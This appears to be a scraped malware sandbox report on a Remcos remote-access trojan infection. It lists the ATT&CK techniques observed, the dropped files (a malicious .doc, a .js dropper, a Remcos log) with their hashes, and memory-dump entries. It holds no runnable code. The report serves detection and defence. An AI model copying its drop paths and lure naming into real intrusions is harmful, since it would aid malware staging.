Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
272B

MD5
b3b057a1c729136127b1137527c2c97b

SHA1
26856f95efdb29c96a8fc28e0c7369aa16682fd2

SHA256
9d790e47f6e1562ee3bda4e20b2e5849e17aa1db54bccc4be19b4386e7c08a86

SHA512
b710b433f39045e47de6e087cfd6d3c70a35350bebd18aaa3f9f5381baec2e4cd0c411fe3fc94fc68e15af4b26d33758c60d556cbc9f14bb224d781010e08902

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
a6c414c1d67f7447dd62517bf544693d

SHA1
9cc60ae0c02ce35520c05fe4fff23d15e40d9739

SHA256
00560b307ee1193dad1842e793452670870e6b5fa3ca883fa0111ff2194144ba

SHA512
654a6fc15509616466d3c03445595cc6aded9a574ecec1dacffbfe47c172524213d9ea1d6a081affc502b316a1fc188575e089e1071f294659970a8b9c34a9cf

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
903f575ff76d438119b0289fbcaf7033

SHA1
b5d131542378f26472fa39c7d620c1ea57168c16

SHA256
1f6795a1a739deedf68d4937e2a4d04aee71226660994468f560819b98e35e5d

SHA512
8f89360d2226b547534661f629d105e57f24c5942a89870861cec12569618a59bbb5a74ea666c4576e63d3288b7c47daa424044146e25a9b1ff512faf258b7f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{D0182972-DD6E-467D-A2EA-3B911629D72B}.FSD

Filesize
128KB

MD5
f61de65e74696e712b4f50ea11f6ac9c

SHA1
1c2d37ebb7fb61140c446ebbf7d7bdcf38dc12af

SHA256
506d695f48c8b31cf3109e749ac3364295bbb4dd122a9fc88d4aec640d04e3b9

SHA512
835944760bab1cdca9ab10bdc62402f0eb9a92e5786e8df6d6a5c81911382db55f9f5d06e03512ef7e56caaadac5612a6e356251e9c925644eb0064588319b39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

Filesize
128KB

MD5
ce14ac714310b0adf6e1bb4e44b44680

SHA1
f78c7f5aeb0c2000b4be3384b3c011a65bec2eaf

SHA256
32f235c3b8d93e24a0a5ebb311e29bc25e3a2fdbf278b72366108441e57248fc

SHA512
2af698cd2d7193c7b375a305a62d43357121ca6bb08355087c3c49908b50c544936e55cb5384369ea6beed45262bed1b1d98a273553a69c21fa2b7b48c45b2ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{DC5EEC40-BFF8-4045-8D42-C14E0FD78238}.FSD

Filesize
128KB

MD5
0dbc30c5d9fca5d8072262bea8f73097

SHA1
b38b8a26d13928ab557d7d11b679f23b74c79a55

SHA256
ad5bf01840c926b0fa8dee6e3fc7cebb5fa345839f5b13fe0553f5ba0a3d642b

SHA512
3a6d0f348e5450db910212ae6dacbb230d9178ec08c26351891b3ac35426de0ac3e7b865b4e86517b1f85826c93187633eb9dc82db79fe4eec52a5f343beeae3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\lionsarekingofthejunglewhotrulywanttogetbackwithentirethingsgogreattotheforestwhichahdnlingentirethingstounderstand__lionsisthekingofjungle[1].doc

Filesize
39KB

MD5
c5af2617421f885a9772a4b51b80cb2a

SHA1
7e5b7ccfbfe3fac37bfd204d116050153a1736a6

SHA256
6cebb118dffe733c6f4001741eed2c2f58995c94e4a8eade0757d0bd07fcecd7

SHA512
4bc31df72497bc263a6d6f34d404653bc688d44539655424407c40f72aaa9c0a2074312ef797f666545cdcd37bebfd1c44591bcbb433860c20561921aaa20630

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab5679.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar567C.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar577C.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\{0DD8E022-48DD-4017-8080-589F20E108EC}

Filesize
128KB

MD5
d639dafb9785dc5612c65d4a4d7d6d59

SHA1
6bfb473b7261d6239e2a19b2c1529dfdc22e0cad

SHA256
ad03a1cb01eb698ecb7c7c6faebb6927bffee9ee0111cbc5f239409668b12e9e

SHA512
3fff3a100f89c21fc77fb0a67011a0081c584fe9e18b43c63dd0f9c9ca45a9ad585fe59f92fa5fcd2b7a0a5944d761a2883cf4bf19720e8cfc17b37813c11cda

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\10T6TLRB.txt

Filesize
73B

MD5
0d13173ed9c9ebedbc59fd3b96a422bc

SHA1
957926428fd5937636addbeab3e6580d54d50e44

SHA256
59774bfe52389f1623729f8dd1fd41ebf2962a6d0c8d3da442f61d8cab8d36f5

SHA512
71af89f7164fafdc6f025bbe846528e1e7c04cf28316f314847a9f0e6c10338fa1b7aef68b79d1a22882ebed447f0b3b43ca7b9f56dbae211a15d2056dede6a3

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
45c5618d6a277c41b78b4ae36b0d9a56

SHA1
a7640b013fcf4ad8d9a69dcbeef6c8acd59ed31e

SHA256
067aaffada9c057a79f33e7f7f8989522c27c45048f08018149c688dbb6aab05

SHA512
dc69df97696d3d160206c2d66ca2d2154a7fa2d3be7c3f3f1b32b4de14a76c00d389decf96d5d1301f3d629e6c998448103284af15fe3c8dcd440a2536b207bb

Download Submit
C:\Users\Admin\AppData\Roaming\pointingthejunglelionontheimages.js

Filesize
1KB

MD5
8ba1e544b30bae4ad809e62b05dc4901

SHA1
f4648540bd5726085a908376a6854c016662396b

SHA256
b9ce30516467e79ad7db25e6f1520d361761701f461ab2fe7d1d82f8432ba1ba

SHA512
2fb11427ca2d297c0e4164a8b12544c49ac501191c5a46f07445c9d0481e09e715a04c284591daa9a65b01a4944608f833b9f8072f78f6ade848385216439bc3

Download Submit
memory/2124-220-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-233-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-262-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-261-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-260-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-259-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-258-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-208-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-216-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-217-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-215-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2124-213-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-211-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-209-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-205-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-203-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-201-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-219-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-199-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-224-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-223-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-256-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-225-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-226-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-227-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-228-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-229-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-230-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-231-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-255-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-234-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-235-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-236-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-237-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-238-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-239-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-240-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-242-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-243-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-244-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-245-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-246-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-247-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-249-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-250-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-251-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-252-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-253-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2124-254-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2404-9-0x0000000002440000-0x0000000002442000-memory.dmp

Filesize
8KB

Download
memory/2404-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2404-197-0x0000000071FFD000-0x0000000072008000-memory.dmp

Filesize
44KB

Download
memory/2404-1-0x0000000071FFD000-0x0000000072008000-memory.dmp

Filesize
44KB

Download
memory/2660-198-0x0000000071FFD000-0x0000000072008000-memory.dmp

Filesize
44KB

Download
memory/2660-4-0x000000002F031000-0x000000002F032000-memory.dmp

Filesize
4KB

Download
memory/2660-6-0x0000000071FFD000-0x0000000072008000-memory.dmp

Filesize
44KB

Download
memory/2660-8-0x0000000003690000-0x0000000003692000-memory.dmp

Filesize
8KB

Download